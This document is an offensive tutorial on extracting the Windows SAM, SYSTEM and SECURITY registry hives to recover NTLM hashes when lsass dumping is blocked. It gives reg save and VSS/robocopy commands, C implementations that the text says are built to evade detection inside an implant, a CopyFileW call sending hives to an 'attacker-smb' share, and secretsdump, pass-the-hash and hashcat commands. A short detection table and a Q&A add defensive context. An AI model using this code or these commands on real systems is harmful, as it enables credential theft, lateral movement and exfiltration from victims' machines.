SAM / SYSTEM / SECURITY Hive Extraction
Extracting locked registry hive files to recover local account NTLM hashes — via reg save, VSS snapshot robocopy, and programmatic C implementation — even when lsass-based approaches are blocked
You are on a workstation where lsass dumping is completely blocked — PPL is enabled, Credential Guard is active, and the EDR monitors every process access to lsass. But you still need local account hashes for Pass-the-Hash to pivot laterally. Local account hashes live in the SAM registry hive, encrypted with a boot key derived from the SYSTEM hive. If you can extract both SAM and SYSTEM (plus SECURITY for cached domain credentials), you can decrypt the NT hashes offline without ever touching lsass.
Hive Overview — What Each File Contains
Why the Hive Files Are Locked
The Windows registry service (services.exe → regsvc.dll) holds open exclusive file handles to all mounted hive files. Attempting to open C:\Windows\System32\config\SAM directly via CreateFile returns ERROR_SHARING_VIOLATION (32). Three approaches work around this:
| Method | Privilege Required | Artifacts Created | LOLBin |
|---|---|---|---|
| reg save — export via registry API | Local Administrator | Hive copy at specified path | Yes (reg.exe) |
| VSS shadow copy + robocopy | Administrator + VSS rights | Shadow copy volume (temporary), copied files | Yes (vssadmin, robocopy) |
| Raw disk read bypassing filesystem lock | SYSTEM + raw volume access | None (no new files until you write them) | No (custom code) |
| NtSaveKey / NtSaveKeyEx direct syscall | SeBackupPrivilege | Hive copy at specified path | No (custom code) |
Method 1: reg save — Simplest Approach
reg.exe save calls the registry API (RegSaveKey internally) to export a live hive to a file. Unlike directly opening the hive file, this goes through the registry service which holds the lock, making it legal. This requires local administrator rights and SeBackupPrivilege (automatically held by Administrators):
-- Command line --
reg save HKLM\SAM C:\Windows\Temp\sam.bak /y
reg save HKLM\SYSTEM C:\Windows\Temp\system.bak /y
reg save HKLM\SECURITY C:\Windows\Temp\security.bak /y
-- Then exfiltrate all three files --
-- Parse offline (see below) --
-- C implementation using RegSaveKeyExA --
#include <windows.h>
#include <stdio.h>
// Enable SeBackupPrivilege — required for RegSaveKey on SAM/SECURITY
BOOL EnableBackupPrivilege() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
LookupPrivilegeValueA(NULL, "SeBackupPrivilege", &tp.Privileges[0].Luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
return (GetLastError() == ERROR_SUCCESS);
}
BOOL SaveHive(HKEY rootKey, const char *subkey, const char *outPath) {
HKEY hKey;
LONG err = RegOpenKeyExA(rootKey, subkey,
REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK,
READ_CONTROL, &hKey);
if (err != ERROR_SUCCESS) {
fprintf(stderr, "[-] RegOpenKeyEx(%s) failed: %ld\n", subkey, err);
return FALSE;
}
// Delete existing file to avoid ERROR_ALREADY_EXISTS
DeleteFileA(outPath);
err = RegSaveKeyExA(hKey, outPath, NULL, REG_LATEST_FORMAT);
RegCloseKey(hKey);
if (err != ERROR_SUCCESS) {
fprintf(stderr, "[-] RegSaveKeyEx(%s) failed: %ld\n", subkey, err);
return FALSE;
}
printf("[+] Saved: %s -> %s\n", subkey, outPath);
return TRUE;
}
int main() {
EnableBackupPrivilege();
SaveHive(HKEY_LOCAL_MACHINE, "SAM", "C:\\Windows\\Temp\\s1.bak");
SaveHive(HKEY_LOCAL_MACHINE, "SYSTEM", "C:\\Windows\\Temp\\s2.bak");
SaveHive(HKEY_LOCAL_MACHINE, "SECURITY", "C:\\Windows\\Temp\\s3.bak");
puts("[+] Done — exfil s1.bak, s2.bak, s3.bak then run secretsdump");
return 0;
}
The REG_OPTION_BACKUP_RESTORE flag in RegOpenKeyEx causes the registry service to apply the backup/restore access check instead of the standard DACL check. When your token has SeBackupPrivilege enabled, this flag allows opening even the SAM and SECURITY hives — which would otherwise be denied even to Administrators because their DACL denies Administrator access by default (HKLM\SAM has a deny ACE for non-SYSTEM callers).
Method 2: VSS Shadow Copy — Access Hive Files Directly
Volume Shadow Copy Service (VSS) creates point-in-time snapshots of volumes. Within a shadow copy, all files — including locked hive files — appear as normal readable files because the snapshot bypasses the live OS file locks. This is how backup software reads open files:
-- Create shadow copy and copy hive files --
Step 1: Create shadow copy of C:\
vssadmin create shadow /for=C:
Output includes shadow copy device path, e.g.:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
Step 2: Copy locked hive files from shadow
robocopy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config" C:\Windows\Temp SAM SYSTEM SECURITY /B
/B flag = backup mode (uses SeBackupPrivilege, bypasses ACL restrictions)
Step 3: Delete shadow copy (clean up)
vssadmin delete shadows /shadow={GUID} /quiet
C Implementation — Full VSS Via COM
Triggering VSS programmatically from C uses the VSS COM interface. This avoids spawning vssadmin.exe (which generates a clear process-creation event) and integrates directly into your implant:
#include <windows.h>
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#pragma comment(lib, "vssapi.lib")
#pragma comment(lib, "ole32.lib")
BOOL VSSCopyHives(const char *outDir) {
CoInitialize(NULL);
IVssBackupComponents *vss = NULL;
HRESULT hr = CreateVssBackupComponents(&vss);
if (FAILED(hr)) { CoUninitialize(); return FALSE; }
vss->InitializeForBackup();
vss->SetBackupState(FALSE, FALSE, VSS_BT_COPY, FALSE);
IVssAsync *async = NULL;
vss->GatherWriterMetadata(&async);
async->Wait(); async->Release();
// Add volume C: to snapshot set
VSS_ID snapSetId;
vss->StartSnapshotSet(&snapSetId);
VSS_ID snapId;
vss->AddToSnapshotSet(L"C:\\", GUID_NULL, &snapId);
// Prepare and execute snapshot
vss->PrepareForBackup(&async); async->Wait(); async->Release();
vss->DoSnapshotSet(&async); async->Wait(); async->Release();
// Get snapshot device path
VSS_SNAPSHOT_PROP prop;
vss->GetSnapshotProperties(snapId, &prop);
// prop.m_pwszSnapshotDeviceObject = L"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3"
// Build source paths for each hive and copy with CopyFileW
const WCHAR *hives[] = { L"SAM", L"SYSTEM", L"SECURITY" };
WCHAR srcPath[512], dstPath[512];
for (int i = 0; i < 3; i++) {
swprintf_s(srcPath, 512, L"%s\\Windows\\System32\\config\\%s",
prop.m_pwszSnapshotDeviceObject, hives[i]);
swprintf_s(dstPath, 512, L"%S\\%s.bak", outDir, hives[i]);
CopyFileW(srcPath, dstPath, FALSE);
}
// Delete snapshot (cleanup)
VSS_ID deletedId; LONG delCount;
vss->DeleteSnapshots(snapId, VSS_OBJECT_SNAPSHOT, TRUE, &delCount, &deletedId);
vss->Release();
VssFreeSnapshotProperties(&prop);
CoUninitialize();
return TRUE;
}
Remote Exfil Without Local File — Copy Directly to Share
If writing to disk on the target is undesirable, the shadow copy path can be used as a source for a direct network copy. CopyFileW accepts UNC paths for the destination, so the hive files can land directly on an attacker-controlled SMB share without ever existing as files on the target's local filesystem:
// Direct-to-share copy — hive file never lands on local disk
CopyFileW(
L"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy3\\Windows\\System32\\config\\SAM",
L"\\\\attacker-smb\\share\\sam_target01.bak", // attacker SMB share
FALSE
);
// Or use reg save directly to a network path:
// reg save HKLM\SAM \\attacker-smb\share\sam.bak /y
// Note: reg save to UNC requires the share to be accessible from the SYSTEM account's context
Offline Hash Extraction
With all three hive files in hand, hash extraction is performed offline using impacket's secretsdump or CrackMapExec. No Windows machine required — secretsdump runs on Linux:
# impacket secretsdump — offline mode (no network connection to target)
python3 secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL
# Output:
# Impacket vX.X.X - Copyright 2022 SecureAuth Corporation
# [*] Target system bootKey: 0x3bab0d53a3c26cc8e2efab09c3f2e2bd
# [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# [*] Dumping cached domain logon information (domain/username:hash)
# CORP/victim:$DCC2$10240#victim#a72d26b...
# [*] Dumping LSA Secrets
# DPAPI_SYSTEM: ...
# _SC_service_account: ...
# Use hashes for pass-the-hash (no cracking needed):
crackmapexec smb TARGET_IP -u Administrator -H 32ed87bdb5fdc5e9cba88547376818d4
# Crack NT hashes with hashcat:
hashcat -m 1000 hashes.txt rockyou.txt --rules-file best64.rule
# Crack mscache2 (DCC2) — slower, salted with username:
hashcat -m 2100 '$DCC2$10240#victim#a72d26b...' rockyou.txt
Detection
| Signal | Source | Fidelity |
|---|---|---|
| reg.exe or custom process calling RegSaveKey on SAM/SYSTEM/SECURITY | Security EventID 4657 (registry value modified) or ETW | High — saving SAM hive is rare in normal operations |
| vssadmin.exe create shadow or IVssBackupComponents COM activation | Sysmon EventID 1; WMI subscription events | Medium — VSS is used by backup software; context matters |
| File read from \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy* paths | Sysmon EventID 11 (FileCreate) at destination; ETW FileIO | High when destination is Temp, when user process (not backup agent) is the source |
| .bak files in C:\Windows\Temp, Users\, or AppData with registry hive magic bytes | AV scan / file monitoring | Medium — magic bytes: regf (72 65 67 66) at offset 0 |
| SeBackupPrivilege used by a non-backup process | Security EventID 4672 (Special Logon with sensitive privileges) | Medium — requires correlating with subsequent file creation |
| Outbound SMB to new/unknown destination immediately after shadow copy activity | Network telemetry / Zeek | High when combined with prior VSS events |
Q&A
Why do you need the SYSTEM hive in addition to SAM?
The NT hashes stored in the SAM hive are not stored in cleartext — they are encrypted with a derived key called the SysKey (or boot key). The SysKey is a 16-byte random value generated when the system was set up. It is split and obfuscated across four registry values (JD, Skew1, GBG, Data) stored as the "Class" (type) of four subkeys under HKLM\SYSTEM\CurrentControlSet\Control\Lsa\. Without the SYSTEM hive, you cannot reconstruct the SysKey, and without the SysKey you cannot decrypt the HASHED_BOOT_KEY stored in SAM, and without the HASHED_BOOT_KEY you cannot decrypt the individual NT hashes. The SAM hive alone is useless — you always need both SAM and SYSTEM. The SECURITY hive is optional — it contains cached domain credentials (mscache2) and LSA secrets, which are valuable but not required to get local account hashes.
Do NT hashes from local accounts work for Pass-the-Hash against domain-joined machines?
It depends on the account. For the local Administrator account (RID 500): if the same password is used across multiple machines in the environment — a common misconfiguration called "shared local admin password" — the NT hash from one machine works for Pass-the-Hash to authenticate as local Administrator on every other machine that shares that password. This was the primary attack vector before Microsoft's Local Administrator Password Solution (LAPS) was widely deployed. LAPS randomizes the local Administrator password per machine, defeating this technique entirely. For LAPS-protected environments: each machine has a unique local admin password, so its hash only works on that one machine. For other local accounts: same logic — the hash only works where that account exists with that password. For domain accounts: local SAM does not contain domain account hashes — those live only in lsass memory (cached), the SECURITY hive (mscache2, limited), or on the domain controller's NTDS.dit. The NT hash from a domain account extracted from lsass or NTDS.dit can be used for Pass-the-Hash to any machine where that domain account has access.